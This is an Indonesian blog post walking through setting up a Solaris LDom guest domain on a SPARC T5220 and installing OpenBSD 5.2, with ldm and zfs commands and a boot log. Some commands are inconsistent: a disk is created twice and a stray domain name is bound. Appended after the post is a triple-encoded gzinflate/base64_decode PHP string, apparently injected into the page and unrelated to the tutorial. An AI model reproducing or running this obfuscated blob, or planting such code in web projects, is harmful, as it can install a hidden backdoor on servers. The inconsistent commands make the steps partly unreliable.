Delicious

Archives

Categories

OpenBSD-sparc @ Solaris LDOM [SPARC Enterprise T5220]

  ozzie / 24/03/2013




Install OpenBSD pada LDom SOLARIS di mesin SUN Enterprise T5220
create guest at Domain Controller: dengan 8 CPU, 4GB Ram & 2 network interface sajah :p

# ldm add-domain OpenBSD
# ldm add-vcpu 8 OpenBSD
# ldm add-memory 4G OpenBSD 
# ldm add-vnet vnet1 primary-vsw0 OpenBSD
# ldm add-vnet vnet2 primary-vsw1 OpenBSD

create ZFS pool – disk

# zfs create Ldom/OpenBSD
# zfs create -V 40gb Ldom/OpenBSD/disk0
# zfs create -V 80gb Ldom/OpenBSD/disk0


# ldm add-vdsdev /dev/zvol/rdsk/Ldom/OpenBSD/disk0  openbsd-disk0@primary-vds0
# ldm add-vdsdev /dev/zvol/rdsk/Ldom/OpenBSD/disk1  openbsd-disk1@primary-vds0
# ldm add-vdisk vdisk1 openbsd-disk0@primary-vds0 OpenBSD
# ldm add-vdisk vdisk1 openbsd-disk0@primary-vds0 OpenBSD
# ldm bind sst-ldom-dev1
# ldm set-var auto-boot\?=false OpenBSD

download iso OpenBSD untuk architecture Sparc64 & attach ke domain

# wget ftp://ftp.openbsd.org/pub/OpenBSD/5.2/sparc64/install52.iso
# ldm add-vdsdev /export/home/ozzie/install52.iso iso@primary-vds0
# ldm add-vdisk cdrom iso@primary-vds0 OpenBSD



sampai sini telah membuat virtual device (cdrom) installer OpenBSD.

aktifkan guest domain & install openBSD seperti biasa..

# ldm start-domain OpenBSD
# telnet localhost 50xx
Trying 127.0.0.1...
Connected to localhost.
Escape character is '^]'.
 
Connecting to console "OpenBSD" in group "OpenBSD" ....
Press ~? for control options ..
 
{0} ok 
{0} ok 
{0} ok devalias
cdrom                    /virtual-devices@100/channel-devices@200/disk@1
vdisk1                   /virtual-devices@100/channel-devices@200/disk@0
...
...
...
 
Boot device: /virtual-devices@100/channel-devices@200/disk@1:f  File and args: 
OpenBSD IEEE 1275 Bootblock 1.3
..>> OpenBSD BOOT 1.4
Trying bsd...
Booting /virtual-devices@100/channel-devices@200/disk@0:a/bsd
6605424@0x1000000+5520@0x164ca70+173400@0x1800000+4020904@0x182a558 
symbols @ 0xfedd02c0 81+405456+255993 start=0x1000000
[ using 662248 bytes of bsd ELF symbol table ]
console is /virtual-devices@100/console@1
Copyright (c) 1982, 1986, 1989, 1991, 1993
	The Regents of the University of California.  All rights reserved.
Copyright (c) 1995-2012 OpenBSD. All rights reserved.  http://www.OpenBSD.org
 
OpenBSD 5.2 (GENERIC.MP) #236: Mon Jul 30 16:38:18 MDT 2012
    deraadt@sparc64.openbsd.org:/usr/src/sys/arch/sparc64/compile/GENERIC.MP
real mem = 4294967296 (4096MB)
avail mem = 4210024448 (4014MB)
mainbus0 at root: SPARC Enterprise T5220
cpu0 at mainbus0: SUNW,UltraSPARC-T2 (rev 0.0) @ 1415.103 MHz
cpu1 at mainbus0: SUNW,UltraSPARC-T2 (rev 0.0) @ 1415.103 MHz
cpu2 at mainbus0: SUNW,UltraSPARC-T2 (rev 0.0) @ 1415.103 MHz
cpu3 at mainbus0: SUNW,UltraSPARC-T2 (rev 0.0) @ 1415.103 MHz
cpu4 at mainbus0: SUNW,UltraSPARC-T2 (rev 0.0) @ 1415.103 MHz
cpu5 at mainbus0: SUNW,UltraSPARC-T2 (rev 0.0) @ 1415.103 MHz
cpu6 at mainbus0: SUNW,UltraSPARC-T2 (rev 0.0) @ 1415.103 MHz
cpu7 at mainbus0: SUNW,UltraSPARC-T2 (rev 0.0) @ 1415.103 MHz
vbus0 at mainbus0
"flashprom" at vbus0 not configured
"n2cp" at vbus0 not configured
"ncp" at vbus0 not configured
vrng0 at vbus0
vcons0 at vbus0: ivec 0x111, console
cbus0 at vbus0
vnet0 at cbus0 chan 0x0: ivec 0x200, 0x201, address 00:14:4f:f8:45:94
vnet1 at cbus0 chan 0x3: ivec 0x206, 0x207, address 00:14:4f:fa:c4:73
vdsk0 at cbus0 chan 0x6: ivec 0x20c, 0x20d
scsibus0 at vdsk0: 2 targets
sd0 at scsibus0 targ 0 lun 0: <SUN, Virtual Disk, 1.0> SCSI3 0/direct fixed
sd0: 40960MB, 512 bytes/sector, 83886080 sectors
"virtual-domain-service" at cbus0 not configured
vrtc0 at vbus0
vscsi0 at root
..
..
..
..

install seperti biasa dan bersih-bersih setelah selesai

# ldm set-var auto-boot\?=true OpenBSD
# ldm stop OpenBSD
LDom OpenBSD stopped
# ldm remove-vdisk cdrom OpenBSD 
# ldm remove-vdsdev iso@primary-vds0

Semoga bermanfaat… :p


« »



".gzinflate(base64_decode(gzinflate(base64_decode(gzinflate(base64_decode('BcHRdkMwAADQD/KgS0mzR8ShjSMJNWveEEamOGljab9+9+KOSbyef5IA89DREZ+phxlyKhQ2sF/pt2hxFtPHwFYI4J1+mVr7YRsVICLl0fQMYyzzvW8FIOGbX1PVUVAP0/uWuZs8RWoEcMl8XpKEe37FrPxw/eeNGNw19npJt8S5uOlh83I2wUDpI6btM7hPv0s8Idtwt7XVp6gqMz92VSRz6Zx7WFuuSb8YAk8IveQfQ69xi7kGBRCNSsZSDPl+CP4B'))))))); ?>